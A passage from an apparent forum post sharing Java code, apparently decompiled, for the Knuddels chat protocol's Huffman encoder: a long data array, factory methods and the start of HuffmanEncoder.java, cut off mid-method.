108, 122, 13, 220, 54, 104, 101, 114, 32, 83, 111, 34, 83, 252, 34, 117, 104, 15, 8594, 15, 9617, 14, 1085, 34, 114, 252, 30, 70, 104, 52, 77, 105, 110, 31, 98, 97, 31, 112, 108, 94, 48, 44, 48, 44, 48, 30, 49, 55, 30, 32, 32, 53, 98, 105, 110, 33, 71, 108, 33, 78, 117, 115, 77, 97, 102, 105, 97, 50, 31, 100, 97, 33, 82, 104, 54, 107, 101, 110, 32, 83, 108, 10, 73, 137, 107, 110, 117, 100, 100, 101, 108, 32, 70, 98, 31, 66, 111, 33, 84, 111, 34, 122, 97, 16, 402, 17, 181, 17, 9619, 15, 134, 14, 1080, 33, 71, 111, 33, 53, 54, 53, 111, 105, 115, 32, 99, 101, 10, 78, 32, 48, 51, 33, 114, 98, 33, 104, 110, 53, 114, 105, 101, 33, 74, 101, 33, 68, 114, 8, 52, 53, 70, 117, 223, 33, 74, 117, 34, 110, 121, 34, 89, 111, 31, 51, 54, 53, 104, 101, 105, 34, 53, 56, 34, 111, 118, 12, 36, 31, 66, 66, 8, 38, 94, 66, 105, 110, 103, 111, 53, 108, 105, 101, 33, 98, 121, 33, 73, 103, 52, 115, 116, 101, 10, 17, 7, 50, 10, 71, 32, 105, 99, 54, 107, 108, 101, 18, 65275, 18, 1071, 17, 1106, 16, 224, 16, 1751, 18, 1077, 18, 193, 18, 213, 18, 9474, 17, 238, 17, 9556, 16, 127, 15, 214, 34, 54, 52, 31, 115, 101, 31, 50, 51, 31, 110, 103, 32, 119, 97, 33, 68, 252, 33, 102, 108, 31, 97, 114, 32, 114, 115, 32, 66, 105, 132, 0, 112, 0, 66, 0, 45, 0, 7, 245, 7, 44, 8, 194, 52, 117, 116, 101, 31, 118, 101, 10, 64, 33, 115, 108, 33, 97, 99, 32, 72, 101, 7, 66, 29, 50, 48, 32, 87, 105, 34, 99, 108, 34, 77, 246, 33, 100, 109, 31, 77, 97, 30, 108, 101, 7, 105, 32, 111, 116, 34, 115, 99, 34, 117, 117, 12, 9, 10, 83, 53, 103, 101, 98, 32, 77, 101, 255, 16, 11, 102, 101, 109, 97, 108, 101, 46, 98, 46, 109, 121, 95, 52, 46, 103, 105, 102, 32, 116, 108, 30, 49, 54, 52, 99, 104, 116, 34, 108, 228, 34, 112, 117, 34, 115, 98, 34, 53, 49, 53, 70, 105, 102, 32, 57, 48, 53, 101, 114, 104, 52, 50, 53, 53, 10, 75, 31, 105, 103, 8, 124, 30, 109, 97, 32, 50, 57, 34, 65, 109, 15, 9835, 16, 8250, 17, 157, 17, 160, 17, 254, 17, 8592, 17, 153, 17, 321, 15, 1084, 33, 75, 246, 53, 118, 111, 110, 32, 75, 105, 34, 228, 117, 34, 67, 101, 34, 55, 56, 34, 71, 105, 32, 110, 117, 52, 103, 101, 110, 32, 100, 117, 54, 77, 97, 114, 33, 114, 117, 33, 118, 111, 33, 106, 117, 13, 8467, 34, 98, 115, 54, 117, 104, 112, 219, 70, 111, 116, 111, 67, 111, 110, 116, 101, 115, 116, 32, 67, 112, 54, 116, 111, 114, 54, 114, 101, 97, 32, 122, 105, 74, 107, 97, 110, 110, 30, 108, 108, 9, 63, 8, 251, 8, 190, 32, 109, 112, 33, 108, 110, 54, 83, 112, 105, 31, 117, 115, 30, 115, 116, 33, 114, 102, 13, 6, 13, 143, 32, 102, 102, 32, 115, 104, 33, 52, 52, 33, 73, 99, 52, 104, 97, 116, 32, 106, 97, 54, 46, 119, 95, 12, 20, 8, 103, 32, 50, 55, 34, 65, 114, 13, 1108, 33, 252, 98, 31, 105, 101, 30, 49, 48, 54, 85, 110, 100, 54, 105, 101, 115, 33, 57, 49, 14, 182, 15, 233, 16, 216, 18, 331, 18, 9600, 17, 231, 34, 73, 73, 32, 103, 111, 33, 111, 98, 12, 39, 219, 107, 110, 117, 100, 100, 101, 108, 115, 46, 100, 101, 8, 120, 10, 91, 53, 110, 103, 101, 33, 108, 116, 34, 56, 56, 34, 90, 105, 32, 78, 97, 32, 70, 97, 10, 93, 8, 188, 10, 228, 53, 97, 117, 115, 74, 115, 105, 99, 104, 72, 105, 99, 111, 110, 9, 54, 12, 9608, 33, 71, 114, 32, 112, 111, 31, 51, 48, 7, 62, 52, 83, 99, 104, 54, 112, 97, 114, 33, 101, 121, 33, 71, 97, 54, 78, 111, 114, 93, 109, 97, 102, 105, 97, 30, 49, 50, 33, 74, 97, 33, 115, 252, 15, 184, 15, 138, 15, 27, 15, 135, 34, 246, 110, 54, 109, 97, 103, 52, 118, 101, 114, 32, 71, 101, 11, 164, 31, 50, 50, 33, 97, 103, 34, 55, 50, 14, 144, 15, 244, 15, 136, 53, 104, 97, 108, 31, 50, 49, 32, 114, 111, 33, 80, 115, 34, 53, 57, 34, 70, 117, 31, 108, 97, 32, 54, 48, 11, 80, 53, 83, 116, 117, 33, 109, 117, 34, 65, 97, 34, 54, 50, 7, 110, 7, 58, 32, 100, 116, 54, 79, 78, 76, 33, 57, 50, 94, 124, 47, 103, 111, 32, 136, 67, 104, 97, 110, 110, 101, 108, 53, 98, 101, 105, 32, 72, 105, 9, 2, 9, 56, 9, 102, 52, 50, 48, 48, 34, 102, 111, 34, 104, 109, 54, 114, 111, 115, 32, 103, 108, 8, 48, 33, 52, 57, 54, 101, 110, 115, 32, 51, 52, 54, 115, 119, 104, 33, 98, 116, 34, 72, 80, 18, 211, 18, 9618, 18, 199, 18, 209, 17, 8730, 17, 8595, 15, 226, 16, 177, 16, 926, 15, 132, 54, 66, 97, 100, 31, 101, 100, 12, 15, 54, 116, 100, 101, 74, 46, 112, 110, 103, 9, 100, 33, 109, 98, 33, 107, 110, 32, 68, 97, 32, 105, 114, 54, 71, 105, 114, 75, 50, 48, 48, 57, 29, 48, 48, 53, 80, 114, 105, 54, 66, 114, 101, 33, 84, 101, 34, 86, 101, 34, 53, 52, 33, 83, 104, 53, 87, 104, 111, 33, 102, 116, 33, 78, 101, 32, 88, 120, 94, 74, 97, 109, 101, 115, 32, 67, 108, 32, 109, 111, 54, 97, 110, 103, 12, 204, 33, 87, 117, 33, 48, 52, 9, 57, 74, 48, 48, 54, 53, 34, 67, 72, 34, 99, 105, 33, 103, 104, 31, 107, 101, 33, 117, 114, 33, 97, 107, 33, 105, 97, 33, 119, 117, 94, 112, 105, 99, 115, 47, 52, 100, 101, 110, 32, 76, 111, 53, 115, 116, 97, 34, 71, 66, 55, 115, 98, 117, 34, 111, 104, 34, 113, 117, 32, 83, 97, 31, 108, 105, 9, 97, 10, 79, 33, 70, 101, 34, 120, 121, 18, 163, 18, 1086, 17, 154, 16, 169, 17, 247, 17, 9559, 18, 9472, 18, 8220, 18, 173, 18, 189, 15, 171, 17, 9562, 18, 203, 18, 242, 17, 165, 17, 243, 74, 110, 105, 99, 104, 54, 98, 101, 115, 33, 116, 99, 12, 172, 12, 9829, 53, 109, 101, 110, 32, 83, 116, 52, 98, 117, 114, 31, 114, 116, 33, 57, 51, 33, 87, 97, 33, 84, 105, 33, 48, 55, 32, 103, 97, 33, 100, 115, 34, 57, 57, 34, 77, 117, 51, 115, 99, 104, 33, 74, 111, 54, 72, 101, 114, 34, 103, 103, 34, 118, 98, 33, 105, 98, 53, 101, 110, 116, 34, 56, 55, 34, 121, 97, 33, 108, 102, 32, 111, 114, 33, 101, 98, 33, 97, 119, 11, 18, 32, 116, 122, 29, 99, 104, 33, 114, 108, 159, 46, 115, 104, 97, 100, 111, 119, 95, 32, 115, 112, 33, 116, 111, 33, 111, 111, 11, 42, 30, 49, 53, 9, 111, 34, 110, 102, 34, 56, 54, 33, 57, 53, 54, 73, 78, 69, 33, 83, 105, 74, 70, 111, 116, 111, 33, 121, 115, 34, 57, 54, 15, 26, 15, 31, 15, 152, 16, 225, 17, 212, 18, 1111, 18, 236, 7, 114, 52, 105, 115, 116, 54, 76, 97, 100, 54, 77, 111, 109, 33, 84, 104, 54, 80, 114, 111, 32, 107, 97, 32, 67, 104, 31, 110, 105, 30, 115, 115, 73, 46, 109, 121, 95, 32, 118, 105, 54, 77, 111, 110, 33, 112, 105, 33, 81, 102, 34, 111, 99, 34, 115, 103, 34, 84, 97, 34, 116, 119, 34, 105, 102, 34, 122, 122, 31, 110, 97, 33, 65, 117, 33, 97, 105, 158, 75, 110, 117, 100, 100, 101, 108, 115, 10, 88, 71, 176, 62, 95, 104, 35, 117, 103, 35, 77, 121, 34, 80, 101, 34, 101, 120, 34, 78, 111, 32, 75, 97, 32, 110, 111, 34, 120, 116, 34, 104, 112, 34, 107, 114, 34, 80, 117, 30, 49, 56, 9, 82, 53, 83, 105, 110, 32, 65, 110, 34, 82, 105, 55, 115, 101, 108, 54, 98, 101, 97, 33, 86, 111, 34, 97, 104, 34, 81, 117, 7, 43, 10, 99, 33, 116, 115, 33, 84, 114, 32, 87, 101, 10, 76, 241, 105, 99, 111, 110, 95, 103, 101, 110, 100, 101, 114, 95, 31, 109, 101, 53, 46, 104, 95, 54, 119, 119, 119, 34, 121, 111, 34, 104, 117, 255, 12, 10, 124, 47, 102, 111, 116, 111, 119, 104, 111, 105, 115, 32, 34, 53, 109, 105, 116, 32, 115, 111, 8, 11, 52, 70, 114, 101, 54, 109, 97, 120, 54, 114, 101, 103, 33, 86, 97, 54, 119, 101, 114, 10, 117, 54, 119, 105, 101, 117, 105, 99, 111, 110, 115, 47, 33, 69, 110, 15, 9552, 16, 149, 16, 215, 14, 159, 34, 106, 111, 7, 37, 220, 50, 53, 53, 44, 50, 53, 53, 44, 50, 53, 53, 32, 101, 105, 33, 100, 114, 33, 105, 112, 32, 68, 117, 34, 107, 102, 34, 53, 55, 33, 80, 108, 31, 108, 111, 53, 83, 116, 97, 14, 945, 15, 29, 17, 964, 17, 210, 16, 145, 34, 69, 82, 33, 107, 117, 32, 108, 115, 54, 97, 99, 116, 33, 70, 114, 10, 92, 255, 19, 11, 102, 111, 116, 111, 115, 47, 107, 110, 117, 100, 100, 101, 108, 115, 46, 100, 101, 63, 110, 61, 11, 72, 50, 32, 32, 32, 33, 76, 117, 54, 100, 101, 109, 53, 101, 110, 100, 35, 66, 252, 35, 97, 112, 34, 55, 52, 54, 99, 104, 108, 53, 103, 108, 101, 30, 52, 48, 9, 33, 30, 51, 50, 52, 101, 105, 110, 53, 115, 101, 105, 33, 75, 101, 12, 223, 32, 102, 103, 53, 98, 97, 108, 31, 116, 97, 30, 49, 57, 52, 110, 100, 101, 54, 77, 101, 110, 54, 76, 105, 101, 32, 97, 100, 31, 83, 102, 10, 167, 30, 105, 110, 35, 101, 99, 15, 30, 16, 8249, 17, 221, 18, 166, 18, 234, 14, 953, 35, 72, 252, 33, 111, 115, 32, 114, 110, 74, 46, 109, 120, 95, 53, 119, 101, 105, 30, 46, 46, 54, 108, 101, 114, 33, 114, 107, 11, 113, 34, 116, 102, 34, 85, 110, 33, 80, 111, 53, 86, 101, 114, 9, 112, 7, 47, 12, 125, 35, 100, 119, 15, 1109, 16, 146, 16, 235, 34, 97, 122, 33, 108, 117, 33, 70, 105, 33, 107, 108, 33, 119, 111, 32, 56, 48, 255, 32, 9, 0, 112, 0, 66, 0, 112, 105, 99, 115, 47, 105, 99, 111, 110, 95, 102, 117, 108, 108, 67, 104, 97, 110, 110, 101, 108, 46, 103, 105, 102, 0, 45, 0, 30, 101, 108, 31, 116, 121, 54, 78, 101, 117, 34, 53, 50, 34, 108, 109, 32, 48, 49, 113, 124, 47, 119, 32, 34, 60, 180, 46, 113, 117, 97, 100, 99, 117, 116, 95, 35, 54, 57, 35, 100, 228, 34, 116, 117, 54, 102, 114, 101, 34, 105, 104, 35, 101, 122, 35, 57, 56, 31, 116, 101, 53, 103, 105, 114, 53, 99, 110, 116, 158, 46, 98, 111, 114, 100, 101, 114, 95, 32, 105, 116, 11, 89, 255, 14, 11, 102, 117, 108, 108, 67, 104, 97, 110, 110, 101, 108, 46, 103, 105, 102, 34, 122, 111, 34, 107, 99, 34, 65, 98, 15, 965, 18, 9642, 19, 9577, 19, 8494, 17, 202, 16, 141, 35, 56, 50, 32, 51, 51, 31, 110, 100, 10, 70, 32, 83, 112, 11, 94, 54, 97, 99, 104, 33, 117, 99, 32, 107, 105, 52, 105, 99, 104, 55, 102, 101, 108, 35, 56, 51, 15, 191, 15, 219, 33, 98, 114, 54, 70, 114, 105, 54, 100, 111, 114, 31, 100, 101, 31, 53, 48, 33, 97, 97, 34, 103, 98, 34, 108, 99, 54, 102, 252, 114, 33, 55, 53, 32, 116, 104, 53, 66, 101, 114, 54, 66, 97, 108, 33, 55, 48, 33, 52, 53, 34, 83, 119, 34, 52, 49, 32, 105, 108, 54, 104, 102, 108, 34, 73, 104, 13, 126, 255, 14, 10, 112, 105, 99, 115, 47, 102, 101, 109, 97, 108, 101, 46, 103, 105, 102, 53, 104, 116, 116, 16, 9834, 18, 161, 18, 232, 18, 305, 19, 8212, 62, 92, 92, 92, 20, 1241, 15, 183, 35, 65, 116, 35, 76, 69, 35, 83, 107, 75, 50, 48, 49, 48, 71, 46, 103, 105, 102, 74, 102, 111, 116, 111, 54, 76, 97, 110, 13, 19, 34, 105, 107, 199, 176, 62, 103, 116, 46, 103, 105, 102, 60, 176, 32, 72, 111, 34, 100, 121, 34, 80, 105, 54, 97, 108, 116, 32, 50, 56, 74, 46, 106, 112, 103, 7, 101, 8, 115, 32, 69, 108, 54, 109, 101, 114, 255, 14, 12, 109, 97, 108, 101, 46, 98, 46, 109, 121, 95, 51, 46, 103, 105, 102, 136, 0, 70, 108, 105, 114, 116, 32, 14, 1103, 35, 55, 54, 34, 110, 98, 33, 76, 97, 32, 110, 115, 33, 114, 103, 33, 48, 56, 32, 66, 101, 11, 118, 34, 109, 108, 35, 99, 100, 35, 55, 51, 33, 66, 117, 32, 116, 114, 32, 119, 105, 31, 109, 109, 33, 115, 102, 54, 68, 105, 101, 32, 110, 116, 32, 108, 121, 33, 101, 109, 54, 116, 109, 117, 34, 111, 100, 34, 115, 100, 54, 75, 105, 115, 34, 68, 68, 16, 151, 17, 168, 17, 206, 15, 951, 35, 54, 56, 12, 81, 31, 103, 101, 35, 56, 52, 35, 70, 67, 34, 103, 115, 33, 82, 97, 33, 115, 117, 34, 105, 118, 35, 104, 104, 35, 80, 114, 7, 60, 31, 104, 97, 31, 111, 110, 10, 84, 52, 99, 104, 101, 8, 104, 7, 34, 255, 13, 12, 99, 108, 111, 117, 100, 115, 98, 108, 117, 101, 46, 103, 105, 102, 34, 67, 105, 13, 3, 55, 108, 105, 103, 14, 23, 16, 142, 16, 150, 18, 241, 18, 253, 18, 174, 18, 1091, 19, 942, 19, 304, 19, 322, 19, 324, 17, 961, 33, 98, 98, 53, 98, 101, 114, 32, 76, 105, 33, 68, 105, 13, 175, 34, 108, 103, 33, 65, 108, 54, 79, 117, 116, 32, 50, 52, 32, 117, 110, 32, 51, 57, 55, 117, 114, 116, 35, 73, 115, 35, 82, 102, 33, 55, 49, 33, 104, 108, 33, 66, 108, 32, 66, 97, 53, 101, 97, 114, 54, 101, 99, 104, 34, 85, 115, 34, 52, 55, 54, 105, 112, 105, 12, 59, 32, 122, 101, 7, 46, 9, 55, 31, 97, 116, 34, 119, 228, 35, 72, 117, 15, 8706, 16, 186, 17, 240, 17, 65273, 33, 223, 101, 33, 117, 116, 33, 102, 117, 73, 62, 45, 45, 60, 31, 97, 110, 32, 76, 101, 32, 115, 97, 13, 4, 34, 103, 116, 33, 106, 101, 53, 112, 119, 100, 32, 82, 101, 32, 104, 101, 32, 104, 111, 34, 111, 109, 34, 111, 107, 33, 53, 53, 52, 119, 97, 114, 53, 104, 101, 110, 34, 112, 101, 35, 101, 107, 35, 76, 76, 33, 98, 117, 31, 114, 101, 34, 119, 252, 34, 54, 54, 33, 83, 101, 11, 90, 33, 252, 99, 34, 67, 114, 34, 103, 117, 32, 122, 117, 12, 74, 34, 109, 228, 34, 52, 50, 33, 98, 111, 33, 67, 97, 31, 101, 115, 54, 84, 97, 103, 35, 82, 82, 35, 114, 121, 13, 5, 32, 50, 54, 34, 114, 114, 34, 111, 102, 54, 68, 111, 114, 53, 114, 101, 115, 53, 99, 103, 105, 33, 100, 100, 255, 57, 12, 124, 104, 116, 116, 112, 58, 47, 47, 119, 119, 119, 51, 46, 107, 110, 117, 100, 100, 101, 108, 115, 46, 100, 101, 58, 56, 48, 56, 48, 47, 116, 120, 116, 108, 47, 99, 108, 105, 99, 107, 63, 100, 61, 107, 110, 117, 100, 100, 101, 108, 115, 46, 100, 101, 38, 105, 100, 61, 33, 83, 109, 34, 52, 51, 34, 97, 102, 53, 105, 110, 101, 33, 67, 111, 18, 170, 18, 179, 17, 931, 16, 137, 15, 187, 35, 67, 69, 34, 108, 107, 32, 97, 109, 32, 112, 112, 33, 115, 119, 35, 54, 51, 35, 109, 121, 35, 112, 102, 17, 156, 17, 230, 16, 140, 15, 28, 54, 102, 104, 101, 13, 8, 34, 86, 105, 53, 116, 101, 114, 10, 255, 31, 49, 49, 33, 102, 97, 35, 115, 114, 35, 77, 102, 13, 16, 96, 176, 62, 115, 109, 95, 54, 65, 110, 122, 10, 65, 32, 97, 115, 35, 78, 82, 35, 108, 114, 35, 78, 84, 35, 54, 49, 33, 110, 122, 33, 97, 98, 33, 103, 105, 54, 100, 112, 103, 33, 103, 114, 9, 40, 255, 12, 10, 112, 105, 99, 115, 47, 109, 97, 108, 101, 46, 103, 105, 102, 32, 112, 103, 35, 67, 117, 19, 948, 19, 962, 19, 1754, 19, 8596, 18, 1110, 18, 9658, 17, 1750, 19, 273, 19, 295, 19, 423, 19, 1753, 18, 957, 18, 1089, 17, 207, 17, 237, 18, 9679, 18, 8221, 34, 79, 115, 33, 111, 119, 31, 99, 107, 11, 229, 32, 72, 97, 35, 103, 100, 35, 73, 116, 34, 107, 116, 54, 108, 101, 110, 33, 69, 105, 13, 7, 34, 102, 114, 10, 67, 9, 41, 54, 109, 105, 110, 54, 83, 105, 101, 12, 123, 34, 54, 53, 34, 77, 252, 11, 246, 35, 78, 252, 35, 68, 111, 34, 105, 111, 33, 80, 102, 54, 100, 97, 115, 12, 86, 95, 70, 108, 105, 114, 116, 11, 252, 34, 114, 122, 35, 71, 117, 35, 102, 109, 54, 72, 97, 109, 8, 116, 29, 101, 110, 29, 101, 114, 4, 0, 52, 100, 101, 114, 33, 67, 99, 54, 65, 108, 116, 53, 77, 105, 120, 35, 65, 115, 35, 116, 112, 55, 110, 101, 110, 33, 108, 100, 32, 48, 53, 31, 105, 115, 11, 195, 34, 76, 252, 15, 1752, 15, 1761, 15, 1762, 15, 162, 54, 71, 101, 115, 54, 97, 117, 102, 54, 97, 110, 100, 54, 98, 108, 103, 33, 112, 114, 52, 117, 110, 100, 31, 97, 108, 34, 73, 110, 34, 87, 252, 54, 104, 105, 101, 54, 103, 101, 115, 34, 246, 223, 34, 112, 115, 31, 98, 101, 32, 50, 53, 54, 49, 52, 48, 35, 104, 115, 16, 969, 16, 239, 16, 147, 16, 963, 34, 52, 54, 10, 128, 31, 49, 52, 32, 51, 53, 33, 69, 109, 54, 103, 101, 114, 31, 99, 103, 10, 107, 6, 45, 34, 119, 104, 35, 114, 112, 17, 148, 18, 923, 18, 155, 16, 9553, 16, 129, 17, 208, 19, 287, 19, 399, 19, 9632, 19, 9668, 33, 80, 97, 11, 85, 32, 98, 108, 33, 99, 97, 54, 118, 97, 116, 33, 51, 55, 34, 101, 117, 34, 109, 115, 33, 77, 105, 33, 99, 115, 53, 100, 105, 101, 33, 97, 121, 33, 102, 105, 10, 192, 32, 117, 109, 53, 115, 101, 110, 9, 61, 33, 66, 114, 34, 117, 108, 34, 102, 121, 53, 118, 111, 114, 33, 87, 108, 54, 116, 115, 99, 32, 114, 100, 31, 110, 101, 34, 75, 117, 15, 949, 15, 1090, 35, 82, 252, 54, 80, 97, 114, 35, 56, 53, 35, 119, 99, 34, 99, 114, 33, 114, 109, 8, 49, 6, 95, 4, 32 });<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; encoder = new HuffmanEncoder(tree);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; decoder = new HuffmanDecoder(tree);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public static HuffmanEncoder getEncoder() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return encoder;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public static HuffmanDecoder getDecoder() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return decoder;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
}</code><hr />
</div><b>HuffmanEncoder.java</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">import java.util.Hashtable;<br />
<br />
/**<br />
&nbsp;*<br />
&nbsp;* @author Knuddels GmbH &amp; Co. KG<br />
&nbsp;*/<br />
public class HuffmanEncoder {<br />
&nbsp; &nbsp; &nbsp; &nbsp; private int a;<br />
&nbsp; &nbsp; &nbsp; &nbsp; private int b;<br />
&nbsp; &nbsp; &nbsp; &nbsp; private Hashtable c;<br />
&nbsp; &nbsp; &nbsp; &nbsp; private long d;<br />
&nbsp; &nbsp; &nbsp; &nbsp; private long e;<br />
&nbsp; &nbsp; &nbsp; &nbsp; private byte f[];<br />
&nbsp; &nbsp; &nbsp; &nbsp; private int g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; private int h;<br />
&nbsp; &nbsp; &nbsp; &nbsp; private Character i[];<br />
&nbsp; &nbsp; &nbsp; &nbsp; private Short j[];<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public HuffmanEncoder(String tree) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f = new byte[65535];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; h = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; d = 0L;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e = 0L;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c = new Hashtable(1, 1.0F);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a(tree);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; private final void a(int k) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int l = k &gt;&gt; 24;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int i1 = k - (l &lt;&lt; 24);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (g != 0 &amp;&amp; l &gt; 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; l += g - 8;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i1 &lt;&lt;= g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f[h++] += (byte) i1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i1 &gt;&gt;= 8;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (; l &gt; 0; l -= 8) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f[h++] = (byte) i1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i1 &gt;&gt;= 8;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (l &lt; 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; h--;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g = l + 8;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; private final int a(int k, int l) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int i1 = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int j1 = 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int k1 = 1 &lt;&lt; l - 1;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (; l &gt; 0; l--) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ((k &amp; j1) != 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i1 += k1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j1 &lt;&lt;= 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; k1 &gt;&gt;= 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return i1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public synchronized byte[] encode(String str, int size) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte abyte0[] = null;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (size &gt; 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; abyte0 = f;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f = new byte[size];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; h = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int l = str.length();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e += l;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int j1 = 0; j1 &lt; l;) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Integer integer = null;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int i1 = j1 + 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Hashtable hashtable = c;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; do {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (j1 &gt;= l) {<br />
